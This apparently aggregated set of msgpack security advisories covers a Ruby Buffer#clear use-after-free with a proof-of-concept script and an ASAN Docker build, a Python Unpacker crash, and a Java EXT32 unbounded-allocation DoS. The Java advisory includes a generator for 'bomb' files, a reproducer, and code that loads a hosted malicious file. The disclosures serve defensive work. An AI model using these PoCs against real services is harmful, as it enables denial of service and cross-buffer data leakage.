See how msgpack compares to other vendors in security performance
Summary MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmemlast, rmemend, rmemowner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).
Details - msgpackbufferclear() → msgpackbuffershiftchunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (msgpackbufferchunkdestroy, :58, returns the page via msgpackrmemfree) but resets only tailbufferend/readbuffer, leaving rmemlast/rmemend/rmemowner pointing into the freed page. - Next Buffer#write → msgpackbufferchunkmalloc() reuse branch (:363) returns b->rmemlast, a pointer into the already-freed page. - A second buffer's first write calls msgpackrmemalloc() and gets the same physical page back from the pool → the two buffers alias the same memory. - Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.
PoC Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):
bash set -e WORK="$(mktemp -d)"; cd "$WORK"
1) PoC cat > poc.rb <<'RUBY' b1 = MessagePack::Buffer.new(nil, writereferencethreshold: 256) b1.write('M' 1000); b1.write('A' 200); b1.write('N' 1000) b1.clear b1.write('C' 128) secret = ('s' 200) + ('ABCD' 32) + ('t' 400) b2 = MessagePack::Buffer.new(nil, writereferencethreshold: 4096) b2.write(secret) leaked = b1.readall donor = b2.readall puts 'b1first64:' + leaked.byteslice(0, 64) puts 'b2donor64:' + donor.byteslice(200, 64) puts 'leakedisC:' + (leaked == 'C' 128).tos puts 'crossbuffermatch:' + (leaked == donor.byteslice(200, 128)).tos RUBY
2) ASAN build of msgpackfrom rubygems cat > Dockerfile <<'DOCKER' FROM ruby:3.3-bookworm RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/ RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \ cd msgpack-1.8.1/ext/msgpack && \ MSGPACKDEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \ make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so DOCKER docker build -t msgpack-asan-poc .
3) Run under ASAN docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \ bash -c 'export LDPRELOAD=$(gcc -print-file-name=libasan.so); export ASANOPTIONS=detectleaks=0:haltonerror=1:abortonerror=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'
Expected output: b1first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD b2donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD leakedisC:false crossbuffermatch:true
Impact Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.
Credit Pranjali Thakur - depthfirst (depthfirst.com)
MessagePack is the serializer implementation for Python msgpack.org. Prior to 1.2.1, there is an Out-of-bounds read/crash on Unpacker reuse after a caught error, potentially leading to a DoS attack. If the Unpacker is used repeatedly after an error occurs, the process may crash with a SEGV. This issue has been fixed in version 1.2.1.
Summary Affected Components: org.msgpack.core.MessageUnpacker.readPayload() org.msgpack.core.MessageUnpacker.unpackValue() org.msgpack.value.ExtensionValue.getData() A denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.
PoC import msgpack import struct import os
OUTPUTDIR = "bombs" os.makedirs(OUTPUTDIR, existok=True)
EXT format: fixext / ext8 / ext16 / ext32 ext32 allows attacker-controlled length (uint32)
length = 1 step = 10000000
while True: try: # EXT32: 0xC9 | length (4 bytes) | type (1 byte) header = b'\xC9' + struct.pack(">I", length) + b'\x01' payload = b'A' # actual data tiny
data = header + payload
fname = f"{OUTPUTDIR}/extlength{length}.msgpack" with open(fname, "wb") as f: f.write(data)
print(f"[+] Generated EXT bomb with declared length={length}") length += step
except Exception as e: print("[!] Stopped:", e) break Download dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer // Main.java import org.msgpack.core.MessagePack; import org.msgpack.core.MessageUnpacker; import org.msgpack.value.ExtensionValue;
import java.nio.file.Files; import java.nio.file.Paths;
public class Main { public static void main(String[] args) throws Exception {
byte[] data = Files.readAllBytes( Paths.get("extlength470000001.msgpack") );
MessageUnpacker unpacker = MessagePack.newDefaultUnpacker(data);
ExtensionValue ext = unpacker.unpackValue().asExtensionValue();
// Vulnerability trigger: byte[] payload = ext.getData();
System.out.println(payload.length); } }
Compile javac -cp msgpack-core-0.9.8.jar Main.java Run (with limited heap) java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main Observed Result: Exception in thread "main" java.lang.OutOfMemoryError: Java heap space at org.msgpack.core.MessageUnpacker.readPayload(...) at org.msgpack.core.MessageUnpacker.unpackValue(...) var u = new java.net.URL("https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/extlength470000001.msgpack"); var d = u.openStream().readAllBytes(); var up = org.msgpack.core.MessagePack.newDefaultUnpacker(d); up.unpackValue().asExtensionValue().getData(); Run: java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main A remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.
Resolution This issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11
Impact This vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.